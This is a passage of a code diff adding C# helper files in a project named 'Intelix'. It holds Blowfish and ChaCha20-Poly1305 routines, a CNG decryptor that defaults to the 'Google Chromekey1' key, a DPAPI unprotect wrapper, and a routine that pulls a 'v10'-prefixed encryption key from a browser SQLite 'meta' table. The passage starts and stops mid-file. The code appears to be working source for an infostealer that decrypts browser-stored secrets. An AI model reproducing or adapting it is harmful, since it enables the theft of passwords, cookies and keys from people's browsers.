3954048622u, 3938656102u, 3820766613u, 2793130115u, 2977904593u, 26017576u, 3274890735u, 3194772133u, 1700274565u, 1756076034u,
|
||||
4006520079u, 3677328699u, 720338349u, 1533947780u, 354530856u, 688349552u, 3973924725u, 1637815568u, 332179504u, 3949051286u,
|
||||
53804574u, 2852348879u, 3044236432u, 1282449977u, 3583942155u, 3416972820u, 4006381244u, 1617046695u, 2628476075u, 3002303598u,
|
||||
1686838959u, 431878346u, 2686675385u, 1700445008u, 1080580658u, 1009431731u, 832498133u, 3223435511u, 2605976345u, 2271191193u,
|
||||
2516031870u, 1648197032u, 4164389018u, 2548247927u, 300782431u, 375919233u, 238389289u, 3353747414u, 2531188641u, 2019080857u,
|
||||
1475708069u, 455242339u, 2609103871u, 448939670u, 3451063019u, 1395535956u, 2413381860u, 1841049896u, 1491858159u, 885456874u,
|
||||
4264095073u, 4001119347u, 1565136089u, 3898914787u, 1108368660u, 540939232u, 1173283510u, 2745871338u, 3681308437u, 4207628240u,
|
||||
3343053890u, 4016749493u, 1699691293u, 1103962373u, 3625875870u, 2256883143u, 3830138730u, 1031889488u, 3479347698u, 1535977030u,
|
||||
4236805024u, 3251091107u, 2132092099u, 1774941330u, 1199868427u, 1452454533u, 157007616u, 2904115357u, 342012276u, 595725824u,
|
||||
1480756522u, 206960106u, 497939518u, 591360097u, 863170706u, 2375253569u, 3596610801u, 1814182875u, 2094937945u, 3421402208u,
|
||||
1082520231u, 3463918190u, 2785509508u, 435703966u, 3908032597u, 1641649973u, 2842273706u, 3305899714u, 1510255612u, 2148256476u,
|
||||
2655287854u, 3276092548u, 4258621189u, 236887753u, 3681803219u, 274041037u, 1734335097u, 3815195456u, 3317970021u, 1899903192u,
|
||||
1026095262u, 4050517792u, 356393447u, 2410691914u, 3873677099u, 3682840055u
|
||||
},
|
||||
{
|
||||
3913112168u, 2491498743u, 4132185628u, 2489919796u, 1091903735u, 1979897079u, 3170134830u, 3567386728u, 3557303409u, 857797738u,
|
||||
1136121015u, 1342202287u, 507115054u, 2535736646u, 337727348u, 3213592640u, 1301675037u, 2528481711u, 1895095763u, 1721773893u,
|
||||
3216771564u, 62756741u, 2142006736u, 835421444u, 2531993523u, 1442658625u, 3659876326u, 2882144922u, 676362277u, 1392781812u,
|
||||
170690266u, 3921047035u, 1759253602u, 3611846912u, 1745797284u, 664899054u, 1329594018u, 3901205900u, 3045908486u, 2062866102u,
|
||||
2865634940u, 3543621612u, 3464012697u, 1080764994u, 553557557u, 3656615353u, 3996768171u, 991055499u, 499776247u, 1265440854u,
|
||||
648242737u, 3940784050u, 980351604u, 3713745714u, 1749149687u, 3396870395u, 4211799374u, 3640570775u, 1161844396u, 3125318951u,
|
||||
1431517754u, 545492359u, 4268468663u, 3499529547u, 1437099964u, 2702547544u, 3433638243u, 2581715763u, 2787789398u, 1060185593u,
|
||||
1593081372u, 2418618748u, 4260947970u, 69676912u, 2159744348u, 86519011u, 2512459080u, 3838209314u, 1220612927u, 3339683548u,
|
||||
133810670u, 1090789135u, 1078426020u, 1569222167u, 845107691u, 3583754449u, 4072456591u, 1091646820u, 628848692u, 1613405280u,
|
||||
3757631651u, 526609435u, 236106946u, 48312990u, 2942717905u, 3402727701u, 1797494240u, 859738849u, 992217954u, 4005476642u,
|
||||
2243076622u, 3870952857u, 3732016268u, 765654824u, 3490871365u, 2511836413u, 1685915746u, 3888969200u, 1414112111u, 2273134842u,
|
||||
3281911079u, 4080962846u, 172450625u, 2569994100u, 980381355u, 4109958455u, 2819808352u, 2716589560u, 2568741196u, 3681446669u,
|
||||
3329971472u, 1835478071u, 660984891u, 3704678404u, 4045999559u, 3422617507u, 3040415634u, 1762651403u, 1719377915u, 3470491036u,
|
||||
2693910283u, 3642056355u, 3138596744u, 1364962596u, 2073328063u, 1983633131u, 926494387u, 3423689081u, 2150032023u, 4096667949u,
|
||||
1749200295u, 3328846651u, 309677260u, 2016342300u, 1779581495u, 3079819751u, 111262694u, 1274766160u, 443224088u, 298511866u,
|
||||
1025883608u, 3806446537u, 1145181785u, 168956806u, 3641502830u, 3584813610u, 1689216846u, 3666258015u, 3200248200u, 1692713982u,
|
||||
2646376535u, 4042768518u, 1618508792u, 1610833997u, 3523052358u, 4130873264u, 2001055236u, 3610705100u, 2202168115u, 4028541809u,
|
||||
2961195399u, 1006657119u, 2006996926u, 3186142756u, 1430667929u, 3210227297u, 1314452623u, 4074634658u, 4101304120u, 2273951170u,
|
||||
1399257539u, 3367210612u, 3027628629u, 1190975929u, 2062231137u, 2333990788u, 2221543033u, 2438960610u, 1181637006u, 548689776u,
|
||||
2362791313u, 3372408396u, 3104550113u, 3145860560u, 296247880u, 1970579870u, 3078560182u, 3769228297u, 1714227617u, 3291629107u,
|
||||
3898220290u, 166772364u, 1251581989u, 493813264u, 448347421u, 195405023u, 2709975567u, 677966185u, 3703036547u, 1463355134u,
|
||||
2715995803u, 1338867538u, 1343315457u, 2802222074u, 2684532164u, 233230375u, 2599980071u, 2000651841u, 3277868038u, 1638401717u,
|
||||
4028070440u, 3237316320u, 6314154u, 819756386u, 300326615u, 590932579u, 1405279636u, 3267499572u, 3150704214u, 2428286686u,
|
||||
3959192993u, 3461946742u, 1862657033u, 1266418056u, 963775037u, 2089974820u, 2263052895u, 1917689273u, 448879540u, 3550394620u,
|
||||
3981727096u, 150775221u, 3627908307u, 1303187396u, 508620638u, 2975983352u, 2726630617u, 1817252668u, 1876281319u, 1457606340u,
|
||||
908771278u, 3720792119u, 3617206836u, 2455994898u, 1729034894u, 1080033504u
|
||||
},
|
||||
{
|
||||
976866871u, 3556439503u, 2881648439u, 1522871579u, 1555064734u, 1336096578u, 3548522304u, 2579274686u, 3574697629u, 3205460757u,
|
||||
3593280638u, 3338716283u, 3079412587u, 564236357u, 2993598910u, 1781952180u, 1464380207u, 3163844217u, 3332601554u, 1699332808u,
|
||||
1393555694u, 1183702653u, 3581086237u, 1288719814u, 691649499u, 2847557200u, 2895455976u, 3193889540u, 2717570544u, 1781354906u,
|
||||
1676643554u, 2592534050u, 3230253752u, 1126444790u, 2770207658u, 2633158820u, 2210423226u, 2615765581u, 2414155088u, 3127139286u,
|
||||
673620729u, 2805611233u, 1269405062u, 4015350505u, 3341807571u, 4149409754u, 1057255273u, 2012875353u, 2162469141u, 2276492801u,
|
||||
2601117357u, 993977747u, 3918593370u, 2654263191u, 753973209u, 36408145u, 2530585658u, 25011837u, 3520020182u, 2088578344u,
|
||||
530523599u, 2918365339u, 1524020338u, 1518925132u, 3760827505u, 3759777254u, 1202760957u, 3985898139u, 3906192525u, 674977740u,
|
||||
4174734889u, 2031300136u, 2019492241u, 3983892565u, 4153806404u, 3822280332u, 352677332u, 2297720250u, 60907813u, 90501309u,
|
||||
3286998549u, 1016092578u, 2535922412u, 2839152426u, 457141659u, 509813237u, 4120667899u, 652014361u, 1966332200u, 2975202805u,
|
||||
55981186u, 2327461051u, 676427537u, 3255491064u, 2882294119u, 3433927263u, 1307055953u, 942726286u, 933058658u, 2468411793u,
|
||||
3933900994u, 4215176142u, 1361170020u, 2001714738u, 2830558078u, 3274259782u, 1222529897u, 1679025792u, 2729314320u, 3714953764u,
|
||||
1770335741u, 151462246u, 3013232138u, 1682292957u, 1483529935u, 471910574u, 1539241949u, 458788160u, 3436315007u, 1807016891u,
|
||||
3718408830u, 978976581u, 1043663428u, 3165965781u, 1927990952u, 4200891579u, 2372276910u, 3208408903u, 3533431907u, 1412390302u,
|
||||
2931980059u, 4132332400u, 1947078029u, 3881505623u, 4168226417u, 2941484381u, 1077988104u, 1320477388u, 886195818u, 18198404u,
|
||||
3786409000u, 2509781533u, 112762804u, 3463356488u, 1866414978u, 891333506u, 18488651u, 661792760u, 1628790961u, 3885187036u,
|
||||
3141171499u, 876946877u, 2693282273u, 1372485963u, 791857591u, 2686433993u, 3759982718u, 3167212022u, 3472953795u, 2716379847u,
|
||||
445679433u, 3561995674u, 3504004811u, 3574258232u, 54117162u, 3331405415u, 2381918588u, 3769707343u, 4154350007u, 1140177722u,
|
||||
4074052095u, 668550556u, 3214352940u, 367459370u, 261225585u, 2610173221u, 4209349473u, 3468074219u, 3265815641u, 314222801u,
|
||||
3066103646u, 3808782860u, 282218597u, 3406013506u, 3773591054u, 379116347u, 1285071038u, 846784868u, 2669647154u, 3771962079u,
|
||||
3550491691u, 2305946142u, 453669953u, 1268987020u, 3317592352u, 3279303384u, 3744833421u, 2610507566u, 3859509063u, 266596637u,
|
||||
3847019092u, 517658769u, 3462560207u, 3443424879u, 370717030u, 4247526661u, 2224018117u, 4143653529u, 4112773975u, 2788324899u,
|
||||
2477274417u, 1456262402u, 2901442914u, 1517677493u, 1846949527u, 2295493580u, 3734397586u, 2176403920u, 1280348187u, 1908823572u,
|
||||
3871786941u, 846861322u, 1172426758u, 3287448474u, 3383383037u, 1655181056u, 3139813346u, 901632758u, 1897031941u, 2986607138u,
|
||||
3066810236u, 3447102507u, 1393639104u, 373351379u, 950779232u, 625454576u, 3124240540u, 4148612726u, 2007998917u, 544563296u,
|
||||
2244738638u, 2330496472u, 2058025392u, 1291430526u, 424198748u, 50039436u, 29584100u, 3605783033u, 2429876329u, 2791104160u,
|
||||
1057563949u, 3255363231u, 3075367218u, 3463963227u, 1469046755u, 985887462u
|
||||
}
|
||||
};
|
||||
|
||||
private uint[] SubKey;
|
||||
|
||||
private uint[,] SBox;
|
||||
|
||||
private uint _F_Transform(uint x)
|
||||
{
|
||||
byte[] bytes = BitConverter.GetBytes(x);
|
||||
if (!BitConverter.IsLittleEndian)
|
||||
{
|
||||
Array.Reverse(bytes);
|
||||
}
|
||||
return ((SBox[0, bytes[3]] + SBox[1, bytes[2]]) ^ SBox[2, bytes[1]]) + SBox[3, bytes[0]];
|
||||
}
|
||||
|
||||
public void Encrypt(byte[] srcBytes, Endian endian)
|
||||
{
|
||||
byte[] array = new byte[4];
|
||||
byte[] array2 = new byte[4];
|
||||
Array.Copy(srcBytes, 0, array, 0, 4);
|
||||
Array.Copy(srcBytes, 4, array2, 0, 4);
|
||||
if ((BitConverter.IsLittleEndian && endian == Endian.Big) || (!BitConverter.IsLittleEndian && endian == Endian.Little))
|
||||
{
|
||||
Array.Reverse(array);
|
||||
Array.Reverse(array2);
|
||||
}
|
||||
uint num = BitConverter.ToUInt32(array, 0);
|
||||
uint num2 = BitConverter.ToUInt32(array2, 0);
|
||||
num ^= SubKey[0];
|
||||
num2 ^= _F_Transform(num);
|
||||
num2 ^= SubKey[1];
|
||||
num ^= _F_Transform(num2);
|
||||
num ^= SubKey[2];
|
||||
num2 ^= _F_Transform(num);
|
||||
num2 ^= SubKey[3];
|
||||
num ^= _F_Transform(num2);
|
||||
num ^= SubKey[4];
|
||||
num2 ^= _F_Transform(num);
|
||||
num2 ^= SubKey[5];
|
||||
num ^= _F_Transform(num2);
|
||||
num ^= SubKey[6];
|
||||
num2 ^= _F_Transform(num);
|
||||
num2 ^= SubKey[7];
|
||||
num ^= _F_Transform(num2);
|
||||
num ^= SubKey[8];
|
||||
num2 ^= _F_Transform(num);
|
||||
num2 ^= SubKey[9];
|
||||
num ^= _F_Transform(num2);
|
||||
num ^= SubKey[10];
|
||||
num2 ^= _F_Transform(num);
|
||||
num2 ^= SubKey[11];
|
||||
num ^= _F_Transform(num2);
|
||||
num ^= SubKey[12];
|
||||
num2 ^= _F_Transform(num);
|
||||
num2 ^= SubKey[13];
|
||||
num ^= _F_Transform(num2);
|
||||
num ^= SubKey[14];
|
||||
num2 ^= _F_Transform(num);
|
||||
num2 ^= SubKey[15];
|
||||
num ^= _F_Transform(num2);
|
||||
num ^= SubKey[16];
|
||||
num2 ^= SubKey[17];
|
||||
array = BitConverter.GetBytes(num2);
|
||||
array2 = BitConverter.GetBytes(num);
|
||||
if ((BitConverter.IsLittleEndian && endian == Endian.Big) || (!BitConverter.IsLittleEndian && endian == Endian.Little))
|
||||
{
|
||||
Array.Reverse(array);
|
||||
Array.Reverse(array2);
|
||||
}
|
||||
Array.Copy(array, 0, srcBytes, 0, 4);
|
||||
Array.Copy(array2, 0, srcBytes, 4, 4);
|
||||
}
|
||||
|
||||
public void Decrypt(byte[] srcBytes, Endian endian)
|
||||
{
|
||||
byte[] array = new byte[4];
|
||||
byte[] array2 = new byte[4];
|
||||
Array.Copy(srcBytes, 0, array, 0, 4);
|
||||
Array.Copy(srcBytes, 4, array2, 0, 4);
|
||||
if ((BitConverter.IsLittleEndian && endian == Endian.Big) || (!BitConverter.IsLittleEndian && endian == Endian.Little))
|
||||
{
|
||||
Array.Reverse(array);
|
||||
Array.Reverse(array2);
|
||||
}
|
||||
uint num = BitConverter.ToUInt32(array2, 0);
|
||||
uint num2 = BitConverter.ToUInt32(array, 0);
|
||||
num ^= SubKey[16];
|
||||
num2 ^= SubKey[17];
|
||||
num ^= _F_Transform(num2);
|
||||
num2 ^= SubKey[15];
|
||||
num2 ^= _F_Transform(num);
|
||||
num ^= SubKey[14];
|
||||
num ^= _F_Transform(num2);
|
||||
num2 ^= SubKey[13];
|
||||
num2 ^= _F_Transform(num);
|
||||
num ^= SubKey[12];
|
||||
num ^= _F_Transform(num2);
|
||||
num2 ^= SubKey[11];
|
||||
num2 ^= _F_Transform(num);
|
||||
num ^= SubKey[10];
|
||||
num ^= _F_Transform(num2);
|
||||
num2 ^= SubKey[9];
|
||||
num2 ^= _F_Transform(num);
|
||||
num ^= SubKey[8];
|
||||
num ^= _F_Transform(num2);
|
||||
num2 ^= SubKey[7];
|
||||
num2 ^= _F_Transform(num);
|
||||
num ^= SubKey[6];
|
||||
num ^= _F_Transform(num2);
|
||||
num2 ^= SubKey[5];
|
||||
num2 ^= _F_Transform(num);
|
||||
num ^= SubKey[4];
|
||||
num ^= _F_Transform(num2);
|
||||
num2 ^= SubKey[3];
|
||||
num2 ^= _F_Transform(num);
|
||||
num ^= SubKey[2];
|
||||
num ^= _F_Transform(num2);
|
||||
num2 ^= SubKey[1];
|
||||
num2 ^= _F_Transform(num);
|
||||
num ^= SubKey[0];
|
||||
array = BitConverter.GetBytes(num);
|
||||
array2 = BitConverter.GetBytes(num2);
|
||||
if ((BitConverter.IsLittleEndian && endian == Endian.Big) || (!BitConverter.IsLittleEndian && endian == Endian.Little))
|
||||
{
|
||||
Array.Reverse(array);
|
||||
Array.Reverse(array2);
|
||||
}
|
||||
Array.Copy(array, 0, srcBytes, 0, 4);
|
||||
Array.Copy(array2, 0, srcBytes, 4, 4);
|
||||
}
|
||||
|
||||
public Blowfish(byte[] UserKey)
|
||||
{
|
||||
if (UserKey.Length < MinUserKeyLength)
|
||||
{
|
||||
throw new ArgumentException("UserKey is too short.");
|
||||
}
|
||||
if (UserKey.Length > 56)
|
||||
{
|
||||
throw new ArgumentException("UserKey is too long.");
|
||||
}
|
||||
SubKey = OriginPBox.Clone() as uint[];
|
||||
SBox = OriginSBox.Clone() as uint[,];
|
||||
for (int i = 0; i < 18; i++)
|
||||
{
|
||||
uint num = 0u;
|
||||
num <<= 8;
|
||||
num |= UserKey[i * 4 % UserKey.Length];
|
||||
num <<= 8;
|
||||
num |= UserKey[(i * 4 + 1) % UserKey.Length];
|
||||
num <<= 8;
|
||||
num |= UserKey[(i * 4 + 2) % UserKey.Length];
|
||||
num <<= 8;
|
||||
num |= UserKey[(i * 4 + 3) % UserKey.Length];
|
||||
SubKey[i] ^= num;
|
||||
}
|
||||
byte[] array = new byte[8];
|
||||
for (int j = 0; j < 9; j++)
|
||||
{
|
||||
Encrypt(array, Endian.Little);
|
||||
Buffer.BlockCopy(array, 0, SubKey, 8 * j, 8);
|
||||
}
|
||||
for (int k = 0; k < 4; k++)
|
||||
{
|
||||
for (int l = 0; l < 128; l++)
|
||||
{
|
||||
Encrypt(array, Endian.Little);
|
||||
Buffer.BlockCopy(array, 0, SBox, 1024 * k + 8 * l, 8);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,244 @@
|
||||
using System;
|
||||
using System.Numerics;
|
||||
using System.Security.Cryptography;
|
||||
|
||||
namespace Intelix.Helper.Encrypted;
|
||||
|
||||
public static class ChaCha20Poly1305
|
||||
{
|
||||
public static byte[] Decrypt(byte[] key32, byte[] iv12, byte[] ciphertext, byte[] tag, byte[] aad = null)
|
||||
{
|
||||
if (key32 == null)
|
||||
{
|
||||
throw new ArgumentNullException("key32");
|
||||
}
|
||||
if (key32.Length != 32)
|
||||
{
|
||||
throw new ArgumentException("Key must be 32 bytes", "key32");
|
||||
}
|
||||
if (iv12 == null)
|
||||
{
|
||||
throw new ArgumentNullException("iv12");
|
||||
}
|
||||
if (iv12.Length != 12)
|
||||
{
|
||||
throw new ArgumentException("IV must be 12 bytes", "iv12");
|
||||
}
|
||||
if (ciphertext == null)
|
||||
{
|
||||
throw new ArgumentNullException("ciphertext");
|
||||
}
|
||||
if (tag == null)
|
||||
{
|
||||
throw new ArgumentNullException("tag");
|
||||
}
|
||||
if (tag.Length != 16)
|
||||
{
|
||||
throw new ArgumentException("Tag must be 16 bytes", "tag");
|
||||
}
|
||||
if (aad == null)
|
||||
{
|
||||
aad = Array.Empty<byte>();
|
||||
}
|
||||
byte[] array = ChaCha20Block(key32, 0u, iv12);
|
||||
byte[] array2 = new byte[32];
|
||||
Buffer.BlockCopy(array, 0, array2, 0, 32);
|
||||
byte[] msg = BuildPoly1305Message(aad, ciphertext);
|
||||
if (!FixedTimeEquals(Poly1305TagWithBigInteger(array2, msg), tag))
|
||||
{
|
||||
Array.Clear(array, 0, array.Length);
|
||||
Array.Clear(array2, 0, array2.Length);
|
||||
throw new CryptographicException("ChaCha20-Poly1305 authentication failed (tag mismatch).");
|
||||
}
|
||||
byte[] array3 = new byte[ciphertext.Length];
|
||||
ChaCha20Xor(key32, 1u, iv12, ciphertext, array3);
|
||||
Array.Clear(array, 0, array.Length);
|
||||
Array.Clear(array2, 0, array2.Length);
|
||||
return array3;
|
||||
}
|
||||
|
||||
private static byte[] ChaCha20Block(byte[] key32, uint counter, byte[] nonce12)
|
||||
{
|
||||
uint[] array = new uint[16]
|
||||
{
|
||||
1634760805u, 857760878u, 2036477234u, 1797285236u, 0u, 0u, 0u, 0u, 0u, 0u,
|
||||
0u, 0u, 0u, 0u, 0u, 0u
|
||||
};
|
||||
for (int i = 0; i < 8; i++)
|
||||
{
|
||||
array[4 + i] = ToUInt32Little(key32, i * 4);
|
||||
}
|
||||
array[12] = counter;
|
||||
array[13] = ToUInt32Little(nonce12, 0);
|
||||
array[14] = ToUInt32Little(nonce12, 4);
|
||||
array[15] = ToUInt32Little(nonce12, 8);
|
||||
uint[] array2 = new uint[16];
|
||||
Array.Copy(array, array2, 16);
|
||||
for (int j = 0; j < 10; j++)
|
||||
{
|
||||
QuarterRound(ref array2[0], ref array2[4], ref array2[8], ref array2[12]);
|
||||
QuarterRound(ref array2[1], ref array2[5], ref array2[9], ref array2[13]);
|
||||
QuarterRound(ref array2[2], ref array2[6], ref array2[10], ref array2[14]);
|
||||
QuarterRound(ref array2[3], ref array2[7], ref array2[11], ref array2[15]);
|
||||
QuarterRound(ref array2[0], ref array2[5], ref array2[10], ref array2[15]);
|
||||
QuarterRound(ref array2[1], ref array2[6], ref array2[11], ref array2[12]);
|
||||
QuarterRound(ref array2[2], ref array2[7], ref array2[8], ref array2[13]);
|
||||
QuarterRound(ref array2[3], ref array2[4], ref array2[9], ref array2[14]);
|
||||
}
|
||||
byte[] array3 = new byte[64];
|
||||
for (int k = 0; k < 16; k++)
|
||||
{
|
||||
LittleEndian(array2[k] + array[k], array3, k * 4);
|
||||
}
|
||||
return array3;
|
||||
}
|
||||
|
||||
private static void QuarterRound(ref uint a, ref uint b, ref uint c, ref uint d)
|
||||
{
|
||||
a += b;
|
||||
d ^= a;
|
||||
d = Rol(d, 16);
|
||||
c += d;
|
||||
b ^= c;
|
||||
b = Rol(b, 12);
|
||||
a += b;
|
||||
d ^= a;
|
||||
d = Rol(d, 8);
|
||||
c += d;
|
||||
b ^= c;
|
||||
b = Rol(b, 7);
|
||||
}
|
||||
|
||||
private static uint Rol(uint x, int n)
|
||||
{
|
||||
return (x << n) | (x >> 32 - n);
|
||||
}
|
||||
|
||||
private static uint ToUInt32Little(byte[] bs, int off)
|
||||
{
|
||||
return (uint)(bs[off] | (bs[off + 1] << 8) | (bs[off + 2] << 16) | (bs[off + 3] << 24));
|
||||
}
|
||||
|
||||
private static void LittleEndian(uint v, byte[] outbuf, int off)
|
||||
{
|
||||
outbuf[off] = (byte)(v & 0xFF);
|
||||
outbuf[off + 1] = (byte)((v >> 8) & 0xFF);
|
||||
outbuf[off + 2] = (byte)((v >> 16) & 0xFF);
|
||||
outbuf[off + 3] = (byte)((v >> 24) & 0xFF);
|
||||
}
|
||||
|
||||
private static void ChaCha20Xor(byte[] key, uint counter, byte[] nonce, byte[] input, byte[] output)
|
||||
{
|
||||
if (input == null || input.Length == 0)
|
||||
{
|
||||
return;
|
||||
}
|
||||
int i = 0;
|
||||
uint num = counter;
|
||||
int num2;
|
||||
for (; i < input.Length; i += num2)
|
||||
{
|
||||
byte[] array = ChaCha20Block(key, num, nonce);
|
||||
num++;
|
||||
num2 = Math.Min(64, input.Length - i);
|
||||
for (int j = 0; j < num2; j++)
|
||||
{
|
||||
output[i + j] = (byte)(input[i + j] ^ array[j]);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private static byte[] BuildPoly1305Message(byte[] aad, byte[] ciphertext)
|
||||
{
|
||||
int num = ((aad != null) ? aad.Length : 0);
|
||||
int num2 = ((ciphertext != null) ? ciphertext.Length : 0);
|
||||
int num3 = (16 - num % 16) % 16;
|
||||
int num4 = (16 - num2 % 16) % 16;
|
||||
byte[] array = new byte[num + num3 + num2 + num4 + 8 + 8];
|
||||
int num5 = 0;
|
||||
if (num > 0)
|
||||
{
|
||||
Buffer.BlockCopy(aad, 0, array, num5, num);
|
||||
num5 += num;
|
||||
}
|
||||
if (num3 > 0)
|
||||
{
|
||||
num5 += num3;
|
||||
}
|
||||
if (num2 > 0)
|
||||
{
|
||||
Buffer.BlockCopy(ciphertext, 0, array, num5, num2);
|
||||
num5 += num2;
|
||||
}
|
||||
if (num4 > 0)
|
||||
{
|
||||
num5 += num4;
|
||||
}
|
||||
byte[] bytes = BitConverter.GetBytes((ulong)num);
|
||||
byte[] bytes2 = BitConverter.GetBytes((ulong)num2);
|
||||
Buffer.BlockCopy(bytes, 0, array, num5, 8);
|
||||
num5 += 8;
|
||||
Buffer.BlockCopy(bytes2, 0, array, num5, 8);
|
||||
num5 += 8;
|
||||
return array;
|
||||
}
|
||||
|
||||
private static byte[] Poly1305TagWithBigInteger(byte[] oneTimeKey32, byte[] msg)
|
||||
{
|
||||
byte[] array = new byte[16];
|
||||
Buffer.BlockCopy(oneTimeKey32, 0, array, 0, 16);
|
||||
array[3] &= 15;
|
||||
array[7] &= 15;
|
||||
array[11] &= 15;
|
||||
array[15] &= 15;
|
||||
array[4] &= 252;
|
||||
array[8] &= 252;
|
||||
array[12] &= 252;
|
||||
byte[] array2 = new byte[16];
|
||||
Buffer.BlockCopy(oneTimeKey32, 16, array2, 0, 16);
|
||||
BigInteger bigInteger = new BigInteger(AppendZero(array));
|
||||
BigInteger bigInteger2 = new BigInteger(AppendZero(array2));
|
||||
BigInteger bigInteger3 = (BigInteger.One << 130) - 5;
|
||||
BigInteger bigInteger4 = BigInteger.Zero;
|
||||
for (int i = 0; i < msg.Length; i += 16)
|
||||
{
|
||||
int num = Math.Min(16, msg.Length - i);
|
||||
byte[] array3 = new byte[num];
|
||||
Buffer.BlockCopy(msg, i, array3, 0, num);
|
||||
BigInteger bigInteger5 = new BigInteger(AppendZero(array3));
|
||||
BigInteger bigInteger6 = BigInteger.One << 8 * num;
|
||||
bigInteger5 += bigInteger6;
|
||||
bigInteger4 += bigInteger5;
|
||||
bigInteger4 = bigInteger4 * bigInteger % bigInteger3;
|
||||
}
|
||||
byte[] array4 = (bigInteger4 + bigInteger2).ToByteArray();
|
||||
byte[] array5 = new byte[16];
|
||||
for (int j = 0; j < 16 && j < array4.Length; j++)
|
||||
{
|
||||
array5[j] = array4[j];
|
||||
}
|
||||
return array5;
|
||||
}
|
||||
|
||||
private static byte[] AppendZero(byte[] b)
|
||||
{
|
||||
byte[] array = new byte[b.Length + 1];
|
||||
Buffer.BlockCopy(b, 0, array, 0, b.Length);
|
||||
array[array.Length - 1] = 0;
|
||||
return array;
|
||||
}
|
||||
|
||||
private static bool FixedTimeEquals(byte[] a, byte[] b)
|
||||
{
|
||||
if (a == null || b == null || a.Length != b.Length)
|
||||
{
|
||||
return false;
|
||||
}
|
||||
int num = 0;
|
||||
for (int i = 0; i < a.Length; i++)
|
||||
{
|
||||
num |= a[i] ^ b[i];
|
||||
}
|
||||
return num == 0;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,51 @@
|
||||
using System;
|
||||
|
||||
namespace Intelix.Helper.Encrypted;
|
||||
|
||||
public static class CngDecryptor
|
||||
{
|
||||
private const int NCRYPT_SILENT_FLAG = 64;
|
||||
|
||||
public static byte[] Decrypt(byte[] inputData, string providerName = "Microsoft Software Key Storage Provider", string keyName = "Google Chromekey1")
|
||||
{
|
||||
IntPtr phProvider = IntPtr.Zero;
|
||||
IntPtr phKey = IntPtr.Zero;
|
||||
try
|
||||
{
|
||||
int num = NativeMethods.NCryptOpenStorageProvider(out phProvider, providerName, 0);
|
||||
if (num != 0)
|
||||
{
|
||||
throw new Exception($"Ошибка NCryptOpenStorageProvider: Код {num}");
|
||||
}
|
||||
num = NativeMethods.NCryptOpenKey(phProvider, out phKey, keyName, 0, 0);
|
||||
if (num != 0)
|
||||
{
|
||||
throw new Exception($"Ошибка NCryptOpenKey: Код {num}");
|
||||
}
|
||||
num = NativeMethods.NCryptDecrypt(phKey, inputData, inputData.Length, IntPtr.Zero, null, 0, out var pcbResult, 64);
|
||||
if (num != 0)
|
||||
{
|
||||
throw new Exception($"Ошибка определения размера NCryptDecrypt: Код {num}");
|
||||
}
|
||||
byte[] array = new byte[pcbResult];
|
||||
num = NativeMethods.NCryptDecrypt(phKey, inputData, inputData.Length, IntPtr.Zero, array, array.Length, out pcbResult, 64);
|
||||
if (num != 0)
|
||||
{
|
||||
throw new Exception($"Ошибка NCryptDecrypt: Код {num}");
|
||||
}
|
||||
Array.Resize(ref array, pcbResult);
|
||||
return array;
|
||||
}
|
||||
finally
|
||||
{
|
||||
if (phKey != IntPtr.Zero)
|
||||
{
|
||||
NativeMethods.NCryptFreeObject(phKey);
|
||||
}
|
||||
if (phProvider != IntPtr.Zero)
|
||||
{
|
||||
NativeMethods.NCryptFreeObject(phProvider);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,48 @@
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace Intelix.Helper.Encrypted;
|
||||
|
||||
public static class DpApi
|
||||
{
|
||||
private static NativeMethods.CryptprotectPromptstruct Prompt = new NativeMethods.CryptprotectPromptstruct
|
||||
{
|
||||
cbSize = Marshal.SizeOf(typeof(NativeMethods.CryptprotectPromptstruct)),
|
||||
dwPromptFlags = 0,
|
||||
hwndApp = IntPtr.Zero,
|
||||
szPrompt = null
|
||||
};
|
||||
|
||||
public static byte[] Decrypt(byte[] bCipher)
|
||||
{
|
||||
NativeMethods.DataBlob pDataIn = default(NativeMethods.DataBlob);
|
||||
NativeMethods.DataBlob pDataOut = default(NativeMethods.DataBlob);
|
||||
NativeMethods.DataBlob pOptionalEntropy = default(NativeMethods.DataBlob);
|
||||
string ppszDataDescr = string.Empty;
|
||||
GCHandle gCHandle = GCHandle.Alloc(bCipher, GCHandleType.Pinned);
|
||||
pDataIn.cbData = bCipher.Length;
|
||||
pDataIn.pbData = gCHandle.AddrOfPinnedObject();
|
||||
try
|
||||
{
|
||||
if (!NativeMethods.CryptUnprotectData(ref pDataIn, ref ppszDataDescr, ref pOptionalEntropy, IntPtr.Zero, ref Prompt, 0, ref pDataOut) || pDataOut.cbData == 0)
|
||||
{
|
||||
return null;
|
||||
}
|
||||
byte[] array = new byte[pDataOut.cbData];
|
||||
Marshal.Copy(pDataOut.pbData, array, 0, pDataOut.cbData);
|
||||
return array;
|
||||
}
|
||||
finally
|
||||
{
|
||||
gCHandle.Free();
|
||||
if (pDataOut.pbData != IntPtr.Zero)
|
||||
{
|
||||
Marshal.FreeHGlobal(pDataOut.pbData);
|
||||
}
|
||||
if (pOptionalEntropy.pbData != IntPtr.Zero)
|
||||
{
|
||||
Marshal.FreeHGlobal(pOptionalEntropy.pbData);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,68 @@
|
||||
using System;
|
||||
using System.Text;
|
||||
using Intelix.Helper.Sql;
|
||||
|
||||
namespace Intelix.Helper.Encrypted;
|
||||
|
||||
public static class LocalEncryptor
|
||||
{
|
||||
public static byte[] ExtractEncryptionKey(SqLite sql, byte[] encryptionKey)
|
||||
{
|
||||
byte[] array = new byte[0];
|
||||
if (sql.ReadTable("meta"))
|
||||
{
|
||||
for (int i = 0; i < sql.GetRowCount(); i++)
|
||||
{
|
||||
if (sql.GetValue(i, 0).Equals("local_encryptor_data"))
|
||||
{
|
||||
array = Encoding.Default.GetBytes(sql.GetValue(i, 1));
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
int num = FindByteSequence(array, Encoding.ASCII.GetBytes("v10"));
|
||||
if (num == -1)
|
||||
{
|
||||
return null;
|
||||
}
|
||||
byte[] array2 = new byte[96];
|
||||
Array.Copy(array, num + 3, array2, 0, 96);
|
||||
byte[] array3 = new byte[12];
|
||||
Array.Copy(array2, 0, array3, 0, 12);
|
||||
